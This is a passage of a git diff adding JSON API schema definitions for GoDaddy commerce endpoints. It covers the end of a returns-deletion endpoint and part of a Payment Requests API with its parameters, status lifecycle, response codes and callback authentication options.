"schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.return:update" + ] + }, + { + "operationId": "deleteReturn", + "method": "DELETE", + "path": "/v1/commerce/stores/{storeId}/returns/{returnId}", + "summary": "Delete a return", + "description": "Delete a single return.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "returnId", + "in": "path", + "required": true, + "description": "The ID of the return", + "schema": { + "description": "UUID of the return", + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "204": { + "description": "Successfully deleted the return" + } + }, + "scopes": [ + "commerce.return:delete" + ] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/payment-requests.json b/rust/schemas/api/payment-requests.json new file mode 100644 index 0000000..d21bddf --- /dev/null +++ b/rust/schemas/api/payment-requests.json @@ -0,0 +1,2431 @@ +{ + "name": "payment-requests", + "title": "Payment Requests API", + "description": "This API is capable of creating, updating and fetching payment requests across different stores.", + "version": "1.1.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "getPaymentRequests", + "method": "GET", + "path": "/stores/{storeId}/payment-requests", + "summary": "Get all payment requests", + "description": "Retrieve all the payment requests for a specific store using the store ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Unique identifier for the store", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Unique request identifier for idempotency and tracing. Used to prevent duplicate payment requests.", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "description": "Page number (1-indexed)", + "schema": { + "default": 1, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "Number of items per page", + "schema": { + "default": 10, + "maximum": 100, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "Token for retrieving the next page of results. This optimizes query execution on large datasets \nby continuing from a specific point rather than recalculating offsets. When provided, the 'page' parameter is ignored.\nObtained from the 'next' link in the previous response.\n", + "schema": { + "type": "string" + } + }, + { + "name": "updatedAtAfter", + "in": "query", + "required": false, + "description": "Payment request filter updatedAt start date. Defaults to 1 day ago if not specified.", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "updatedAtBefore", + "in": "query", + "required": false, + "description": "Payment request filter updatedAt end date", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "status", + "in": "query", + "required": false, + "description": "Filter by payment request status", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + } + }, + { + "name": "deviceId", + "in": "query", + "required": false, + "description": "Filter by device identifier", + "schema": { + "type": "string" + } + }, + { + "name": "type", + "in": "query", + "required": false, + "description": "Filter by payment request type", + "schema": { + "type": "string" + } + }, + { + "name": "sortBy", + "in": "query", + "required": false, + "description": "Payment request sort field", + "schema": { + "default": "updatedAt", + "enum": [ + "updatedAt" + ], + "type": "string" + } + }, + { + "name": "sortOrder", + "in": "query", + "required": false, + "description": "Payment request sort order", + "schema": { + "default": "ASC", + "enum": [ + "ASC", + "DESC" + ], + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error response", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Payment Requests List", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/pagedList" + } + ], + "properties": { + "items": { + "items": { + "$ref": "./models/PaymentRequest.yaml" + }, + "type": "array" + } + } + } + } + }, + "scopes": [ + "commerce.payment-request:read" + ] + }, + { + "operationId": "createPaymentRequest", + "method": "POST", + "path": "/stores/{storeId}/payment-requests", + "summary": "Create a new payment request (Async)", + "description": "Create a new payment request for the specified store. This is an **asynchronous operation**.\n\n**Async Processing:**\n- Returns `202 Accepted` with immediate `paymentRequestId` for tracking\n- Processing happens in the background with status updates via callbacks\n- Use callbacks (if configured) or polling GET endpoint for completion status\n- Initial status will be `RECEIVED` or `QUEUED`\n\n**Idempotency:**\n- The `X-Request-Id` header is used for idempotency\n- Duplicate requests with the same `X-Request-Id` within 24 hours will return the existing payment request\n- This prevents duplicate payment requests due to network issues or retries\n\n**Required Properties:**\n- `amount` - Payment request amount\n- `type` - Payment request type\n\n**Optional Properties:**\n- `deviceId` - Device identifier for this payment request\n- `paymentInstructions` - Payment instructions\n- `notes` - Additional notes about the payment request\n- `references` - External system references\n- `callbackConfig` - Configuration for async status notifications\n\n**Idempotency:** This endpoint supports idempotency via the X-Request-Id header to prevent duplicate payment requests.\n", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Unique identifier for the store", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Unique request identifier for idempotency and tracing. Used to prevent duplicate payment requests.", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A Payment Request represents an intent to process a payment transaction. It contains all the necessary \ninformation to initiate payment processing on a device and track the payment lifecycle from creation \nthrough completion.\n\n**Lifecycle Overview:**\n1. Created with initial status (RECEIVED/QUEUED)\n2. Sent to device for customer interaction\n3. Customer completes payment flow on device\n4. Transaction(s) created and associated with payment request\n5. Final status reached (COMPLETED/FAILED)\n\n**Key Concepts:**\n- **Async Processing**: Payment requests are processed asynchronously with status updates via callbacks\n- **Device Integration**: Payment requests are sent to physical payment devices (terminals, tablets, etc.)\n- **Activity Tracking**: All interactions and events are logged in the activities array\n- **Transaction Association**: Completed payments generate transaction records linked via transactionIds\n\n**Integration Patterns:**\n- Use callbacks for real-time status updates during async processing\n- Poll the GET endpoint if callbacks are not configured\n- Monitor activities array for detailed payment flow tracking\n- Handle race conditions gracefully (payment may complete while processing other operations)\n", + "properties": { + "activities": { + "description": "Chronological log of all activities and events for this payment request", + "example": [ + { + "data": { + "deviceId": "terminal-123" + }, + "timestamp": "2024-01-15T10:30:00Z", + "type": "PAYMENT_REQUEST_RECEIVED" + }, + { + "data": { + "tipAmount": 2.5 + }, + "timestamp": "2024-01-15T10:31:15Z", + "type": "CUSTOMER_ENTERED_TIP" + } + ], + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/activity.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Activity record for a payment request", + "properties": { + "data": { + "additionalProperties": true, + "description": "Additional context data for the activity", + "example": { + "deviceId": "dev789", + "transactionId": "txn456", + "userId": "user123" + }, + "type": "object" + }, + "timestamp": { + "description": "Timestamp when the activity occurred in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "type": { + "description": "Type of activity performed on the payment request", + "example": "CREATED", + "type": "string" + } + }, + "required": [ + "type", + "timestamp" + ], + "title": "Payment Request Activity", + "type": "object" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$ref": "../transaction-models/v2/schemas/models/Amount.yaml", + "description": "Payment amount with currency information" + }, + "callbackConfig": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-configuration.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Complete configuration for async API callbacks. Defines where to send notifications, \nhow to authenticate, what data to include, and which events to trigger callbacks.\n\nNote: Retry policy is handled at the system level with standard exponential backoff.\n", + "examples": [ + { + "authentication": { + "secret": "your-shared-secret-key", + "type": "hmac" + }, + "events": [ + "RECEIVED", + "COMPLETED", + "FAILED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactions" + ], + "legacyMode": false + }, + "url": "https://client.example.com/webhooks/payment-requests" + }, + { + "events": [ + "COMPLETED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "amount" + ], + "legacyMode": false + }, + "url": "https://dev-client.example.com/webhooks" + }, + { + "authentication": { + "token": "legacy-bearer-token-12345", + "type": "bearer" + }, + "events": [ + "COMPLETED", + "FAILED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "transactionIds", + "transactions" + ], + "legacyMode": true + }, + "url": "https://legacy-client.example.com/callbacks" + } + ], + "properties": { + "authentication": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Authentication configuration for callback endpoints. Supports multiple authentication methods for secure callback delivery.\n\nRecommended method: HMAC for production environments as it provides cryptographic proof of authenticity and prevents tampering.\n", + "discriminator": { + "mapping": { + "apikey": "./APIKeyAuthentication.yaml", + "bearer": "./BearerTokenAuthentication.yaml", + "hmac": "./HMACAuthentication.yaml", + "none": "./NoAuthentication.yaml" + }, + "propertyName": "type" + }, + "examples": [ + { + "type": "hmac", + "value": "your-shared-secret-key" + }, + { + "type": "bearer", + "value": "sample-jwt" + }, + { + "type": "apikey", + "value": "client-api-key-12345" + }, + { + "headerName": "X-Client-API-Key", + "type": "apikey", + "value": "client-api-key-12345" + }, + { + "type": "none" + } + ], + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/hmac-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HMAC authentication using shared secret for payload signing", + "properties": { + "type": { + "const": "hmac", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "Shared secret key for payload signing.\n\nWhen using HMAC, the service sends fixed standard headers:\n- X-Signature: HMAC signature of the payload\n- X-Timestamp: Unix timestamp when request was sent\n- X-Request-Id: Unique request identifier for tracing\n", + "example": "your-shared-secret-key", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "HMAC Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/bearer-token-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Bearer token authentication using Authorization header", + "properties": { + "type": { + "const": "bearer", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "Bearer token for Authorization header", + "example": "sample-jwt", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "Bearer Token Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/apikey-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "API key authentication using custom or default header", + "properties": { + "headerName": { + "default": "X-API-Key", + "description": "Custom header name for API key authentication.\nDefaults to 'X-API-Key' if not specified.\n", + "example": "X-Custom-API-Key", + "type": "string" + }, + "type": { + "const": "apikey", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "API key value for custom header", + "example": "client-api-key-12345", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "API Key Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/no-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "No authentication (development only)", + "properties": { + "type": { + "const": "none", + "description": "Authentication method for callback requests", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "No Authentication", + "type": "object" + } + ], + "title": "Callback Authentication" + }, + "events": { + "description": "Array of payment request status values that should trigger callback notifications.\nEvents correspond to PaymentRequestStatus transitions.\n\nAvailable Events (from PaymentRequestStatus):\n- RECEIVED: When payment request is initially received\n- QUEUED: When payment request is queued for processing\n- IN_PROGRESS: When payment request processing begins\n- COMPLETED: When payment request processing is successfully completed\n- FAILED: When payment request processing fails\n", + "example": [ + "RECEIVED", + "COMPLETED", + "FAILED" + ], + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + }, + "type": "array" + }, + "payloadConfig": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-payload-configuration.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Configuration for callback payload content. Allows clients to specify exactly which fields to include in callback notifications.\n\nSupports both real PaymentRequest fields and virtual fields:\n- Real fields: Actual properties from the PaymentRequest schema\n- Virtual fields: Computed/expanded fields (currently only 'transactions' is supported)\n\nVirtual Field Details:\n- 'transactions': Expands transactionIds to include full transaction objects\n - Uses legacyMode to determine schema version (v1 when true, v2 when false)\n - Adds a 'transactions' array alongside the existing 'transactionIds' array\n", + "examples": [ + { + "includeFields": [ + "paymentRequestId", + "type", + "amount" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactionIds", + "activities" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactionIds", + "transactions", + "activities" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "transactions" + ], + "legacyMode": true + } + ], + "properties": { + "includeFields": { + "description": "Array of field names to include in callback payload.\n\nReal Fields (PaymentRequest properties):\n- paymentRequestId, type, transactionRefNum, storeId, deviceId, amount\n- paymentInstructions, notes, references, transactionIds, links, activities\n- createdAt, updatedAt\n\nVirtual Fields (computed/expanded):\n- 'transactions': Expands transactionIds to full transaction objects (only virtual field currently supported)\n", + "items": { + "enum": [ + "paymentRequestId", + "type", + "transactionRefNum", + "storeId", + "deviceId", + "amount", + "paymentInstructions", + "notes", + "references", + "transactionIds", + "links", + "activities", + "createdAt", + "updatedAt", + "transactions" + ], + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "legacyMode": { + "default": false, + "description": "Schema version control for virtual field expansions:\n- true: Use v1 transaction schema for 'transactions' virtual field\n- false: Use v2 transaction schema for 'transactions' virtual field (default)\nOnly affects virtual fields; real PaymentRequest fields are unaffected.\n", + "example": false, + "type": "boolean" + } + }, + "required": [ + "includeFields" + ], + "title": "Callback Payload Configuration", + "type": "object" + }, + "url": { + "description": "HTTPS callback URL where notifications will be sent", + "example": "https://client.example.com/webhooks/payment-requests", + "format": "uri", + "pattern": "^https://", + "type": "string" + } + }, + "required": [ + "url", + "payloadConfig" + ], + "title": "Callback Configuration", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "deviceId": { + "description": "Device identifier for this payment request (UUID or URN format)", + "example": "urn:tid:2cf6f478-e7c6-3378-8cda-74ee60715e13", + "type": "string" + }, + "links": { + "description": "HATEOAS links for related operations", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "notes": { + "description": "Optional notes about the payment request", + "example": "Table 5 - Split payment with card", + "maxLength": 512, + "type": "string" + }, + "originalTransactionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentInstructions": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "oneOf": [ + { + "maxLength": 256, + "type": "string" + }, + { + "type": "boolean" + }, + { + "type": "number" + } + ] + }, + "description": "Flat key-value pairs with string, boolean, or number values", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "paymentRequestId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "references": { + "description": "External system references for tracking", + "example": [ + { + "additionalLabel": "POS Order", + "type": "order_id", + "value": "ORD-2024-001" + }, + { + "type": "invoice_number", + "value": "INV-456789" + } + ], + "items": { + "$ref": "../transaction-models/v2/schemas/models/TransactionReference.yaml" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "transactionIds": { + "description": "Transaction IDs created from this payment request (populated after processing)", + "example": [ + "11111111-2222-3333-4444-555555555555" + ], + "items": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "readOnly": true, + "type": "array" + }, + "transactionRefNum": { + "description": "Optional merchant reference number for tracking (UUID format)", + "example": "a1b2c3d4-e5f6-4789-9abc-def123456789", + "format": "uuid", + "type": "string" + }, + "type": { + "description": "Type of payment request indicating the transaction operation (AUTHORIZE, SALE, REFUND, etc.)", + "example": "SALE", + "type": "string" + }, + "updatedAt": { + "description": "Updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "createdAt" + ], + "title": "Payment Request", + "type": "object" + } + }, + "responses": { + "500": { + "description": "Internal Server Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "422": { + "description": "Unprocessable Entity - Validation failed", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "default": { + "description": "Error response", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "429": { + "description": "Too Many Requests - Rate limit exceeded", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "400": { + "description": "Bad Request - Invalid input data", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "403": { + "description": "Forbidden - Insufficient permissions", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "401": { + "description": "Unauthorized - Invalid authentication credentials", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "202": { + "description": "Payment request accepted for async processing", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A Payment Request represents an intent to process a payment transaction. It contains all the necessary \ninformation to initiate payment processing on a device and track the payment lifecycle from creation \nthrough completion.\n\n**Lifecycle Overview:**\n1. Created with initial status (RECEIVED/QUEUED)\n2. Sent to device for customer interaction\n3. Customer completes payment flow on device\n4. Transaction(s) created and associated with payment request\n5. Final status reached (COMPLETED/FAILED)\n\n**Key Concepts:**\n- **Async Processing**: Payment requests are processed asynchronously with status updates via callbacks\n- **Device Integration**: Payment requests are sent to physical payment devices (terminals, tablets, etc.)\n- **Activity Tracking**: All interactions and events are logged in the activities array\n- **Transaction Association**: Completed payments generate transaction records linked via transactionIds\n\n**Integration Patterns:**\n- Use callbacks for real-time status updates during async processing\n- Poll the GET endpoint if callbacks are not configured\n- Monitor activities array for detailed payment flow tracking\n- Handle race conditions gracefully (payment may complete while processing other operations)\n", + "properties": { + "activities": { + "description": "Chronological log of all activities and events for this payment request", + "example": [ + { + "data": { + "deviceId": "terminal-123" + }, + "timestamp": "2024-01-15T10:30:00Z", + "type": "PAYMENT_REQUEST_RECEIVED" + }, + { + "data": { + "tipAmount": 2.5 + }, + "timestamp": "2024-01-15T10:31:15Z", + "type": "CUSTOMER_ENTERED_TIP" + } + ], + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/activity.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Activity record for a payment request", + "properties": { + "data": { + "additionalProperties": true, + "description": "Additional context data for the activity", + "example": { + "deviceId": "dev789", + "transactionId": "txn456", + "userId": "user123" + }, + "type": "object" + }, + "timestamp": { + "description": "Timestamp when the activity occurred in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "type": { + "description": "Type of activity performed on the payment request", + "example": "CREATED", + "type": "string" + } + }, + "required": [ + "type", + "timestamp" + ], + "title": "Payment Request Activity", + "type": "object" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$ref": "../transaction-models/v2/schemas/models/Amount.yaml", + "description": "Payment amount with currency information" + }, + "callbackConfig": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-configuration.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Complete configuration for async API callbacks. Defines where to send notifications, \nhow to authenticate, what data to include, and which events to trigger callbacks.\n\nNote: Retry policy is handled at the system level with standard exponential backoff.\n", + "examples": [ + { + "authentication": { + "secret": "your-shared-secret-key", + "type": "hmac" + }, + "events": [ + "RECEIVED", + "COMPLETED", + "FAILED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactions" + ], + "legacyMode": false + }, + "url": "https://client.example.com/webhooks/payment-requests" + }, + { + "events": [ + "COMPLETED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "amount" + ], + "legacyMode": false + }, + "url": "https://dev-client.example.com/webhooks" + }, + { + "authentication": { + "token": "legacy-bearer-token-12345", + "type": "bearer" + }, + "events": [ + "COMPLETED", + "FAILED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "transactionIds", + "transactions" + ], + "legacyMode": true + }, + "url": "https://legacy-client.example.com/callbacks" + } + ], + "properties": { + "authentication": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Authentication configuration for callback endpoints. Supports multiple authentication methods for secure callback delivery.\n\nRecommended method: HMAC for production environments as it provides cryptographic proof of authenticity and prevents tampering.\n", + "discriminator": { + "mapping": { + "apikey": "./APIKeyAuthentication.yaml", + "bearer": "./BearerTokenAuthentication.yaml", + "hmac": "./HMACAuthentication.yaml", + "none": "./NoAuthentication.yaml" + }, + "propertyName": "type" + }, + "examples": [ + { + "type": "hmac", + "value": "your-shared-secret-key" + }, + { + "type": "bearer", + "value": "sample-jwt" + }, + { + "type": "apikey", + "value": "client-api-key-12345" + }, + { + "headerName": "X-Client-API-Key", + "type": "apikey", + "value": "client-api-key-12345" + }, + { + "type": "none" + } + ], + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/hmac-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HMAC authentication using shared secret for payload signing", + "properties": { + "type": { + "const": "hmac", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "Shared secret key for payload signing.\n\nWhen using HMAC, the service sends fixed standard headers:\n- X-Signature: HMAC signature of the payload\n- X-Timestamp: Unix timestamp when request was sent\n- X-Request-Id: Unique request identifier for tracing\n", + "example": "your-shared-secret-key", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "HMAC Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/bearer-token-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Bearer token authentication using Authorization header", + "properties": { + "type": { + "const": "bearer", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "Bearer token for Authorization header", + "example": "sample-jwt", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "Bearer Token Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/apikey-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "API key authentication using custom or default header", + "properties": { + "headerName": { + "default": "X-API-Key", + "description": "Custom header name for API key authentication.\nDefaults to 'X-API-Key' if not specified.\n", + "example": "X-Custom-API-Key", + "type": "string" + }, + "type": { + "const": "apikey", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "API key value for custom header", + "example": "client-api-key-12345", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "API Key Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/no-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "No authentication (development only)", + "properties": { + "type": { + "const": "none", + "description": "Authentication method for callback requests", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "No Authentication", + "type": "object" + } + ], + "title": "Callback Authentication" + }, + "events": { + "description": "Array of payment request status values that should trigger callback notifications.\nEvents correspond to PaymentRequestStatus transitions.\n\nAvailable Events (from PaymentRequestStatus):\n- RECEIVED: When payment request is initially received\n- QUEUED: When payment request is queued for processing\n- IN_PROGRESS: When payment request processing begins\n- COMPLETED: When payment request processing is successfully completed\n- FAILED: When payment request processing fails\n", + "example": [ + "RECEIVED", + "COMPLETED", + "FAILED" + ], + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": 